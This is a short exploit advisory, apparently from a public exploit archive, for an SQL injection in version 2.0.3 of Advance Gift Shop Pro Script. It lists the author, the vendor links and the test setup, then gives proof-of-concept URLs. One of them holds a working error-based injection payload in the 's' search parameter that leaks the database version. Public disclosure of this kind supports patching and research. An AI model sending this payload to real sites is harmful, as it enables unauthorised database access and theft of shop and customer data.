Advance Gift Shop Pro Script 2.0.3 - SQL Injection

# Exploit Title: Advance Gift Shop Pro Script 2.0.3 - SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 21, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/gifts-shop/
# Tested Version: 2.0.3
# Tested on: Kali linux, Windows 8.1 


# PoC:

# http://localhost/[PATH]/?category=&s=[SQL]&search_posttype=product
# http://localhost/[PATH]/?category=&s=1%20and%20extractvalue(rand(),concat(0x7e,version()))&search_posttype=product